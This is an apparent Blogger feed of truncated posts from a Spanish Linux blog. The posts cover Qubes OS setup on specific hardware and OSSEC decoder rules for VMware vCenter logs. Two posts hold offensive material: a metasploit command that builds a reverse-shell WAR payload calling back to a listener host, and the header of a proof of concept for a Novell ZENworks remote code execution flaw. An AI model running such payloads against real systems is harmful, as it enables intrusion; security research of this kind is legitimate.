tag:blogger.com,1999:blog-55331063331026484732024-11-01T12:26:02.745+01:00Blog (no oficial) de #linux, tu canal amigo.tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.comBlogger6125tag:blogger.com,1999:blog-5533106333102648473.post-5573960656397323052010-05-13T00:01:00.019+02:002010-05-13T00:08:48.122+02:00

Hola chica/s, por fin hemos conseguido hacer que funcione la netvm de Qubes en nuestro hardware. Nuestra eth0 usa el módulo atl1c  en el bus PCI 08:00.0. Básicamente vamos a hacer que dom0 no haga uso de eth0 para hacer un pass-through del dispositivo y que sea visible (y usable :) por netvm. Nos aseguramos que Qubes está arrancando con soporte VT-d. [hielo@cubitera ~]$ xm dm | egrep 'DMAR

tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.com0tag:blogger.com,1999:blog-5533106333102648473.post-67272389988804367842010-05-10T23:30:00.003+02:002010-05-11T22:58:50.853+02:00

Os dejamos un vídeo de Qubes funcionando con dom0 como netvm, y una única AppVM, por ahora no tenemos quejas sobre el rendimiento (más allá de las propias de la virtualización y teniendo en cuenta que solo corremos una VM). En cuánto a la estabilidad, se nos ha colgado la VM en varias pruebas, hemos cerrado aplicaciones de la AppVM y se han quedado dibujadas las ventanas en el escritorio y nos

tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.com0tag:blogger.com,1999:blog-5533106333102648473.post-6580632495231009122010-05-10T02:10:00.008+02:002010-05-11T22:59:39.467+02:00

Hola HAMIJOS, hoy os vamos a enseñar como probar QubesOS instalándolo en un stick eSATA SSD de 16 GiB, o no, ahora lo descubriréis. Lo primero que hacemos es bajarnos la versión de 64Bits de Fedora 12, la grabamos en un DVD, y la instalamos en el stick siguiendo la recomendaciones de paquetes que nos hacen en http://qubes-os.org/trac/wiki/InstallationGuide y asignamos todo el espacio disponible a

tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.com1tag:blogger.com,1999:blog-5533106333102648473.post-58061645054867970622010-04-30T01:48:00.010+02:002010-05-10T23:32:47.458+02:00

Ejemplo cutre de decoder/rules para que OSSEC entienda el vpxd.log de VMWare Virtual Center (Probado en vCenter 4). Decoder <!-- VMWare Virtual Center vpxd logs. - [2010-04-29 13:42:52.048 03572 warning 'Libs'] SSLVerifyCertAgainstSystemStore: The remote host certificate has these problems: - [2010-04-29 11:46:47.101 02144 info 'App'] [Auth]: User DOMAIN\luser - [2010-04-29 13:54:54.406

tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.com0tag:blogger.com,1999:blog-5533106333102648473.post-85466483934918149752010-04-28T23:20:00.005+02:002010-04-28T23:29:32.083+02:00

Creamos el WAR con metasploit.luser$ ./msfpayload linux/x86/shell_reverse_tcp LHOST=10.31.33.7 LPORT=443 w > shell_reverse_tcp.warCreated by msfpayload (http://www.metasploit.com).Payload: linux/x86/shell_reverse_tcpLength: 71Options: LHOST=10.31.33.7,LPORT=443Listamos el contenido del WAR para conocer e nombre del fichero al que tendremos rlanzar la petición HTTP.luser$ unzip -l

tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.com0tag:blogger.com,1999:blog-5533106333102648473.post-26302716243105618672010-04-27T03:00:00.007+02:002010-04-28T00:02:00.718+02:00

# Exploit Title: ZDI-10-078: Novell ZENworks Configuration Management UploadServlet Remote Code Execution Vulnerability# Date: 2009-04-26# Author: tucanalamigo http://tucanalamigo.blogspot.com# Software Link: http://www.novell.com/products/zenworks/configurationmanagement/# Version: 10.2# Tested on: GNU/Linux (SLES11)* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *PoC

tucanalamigohttp://www.blogger.com/profile/05568728543191334037noreply@blogger.com0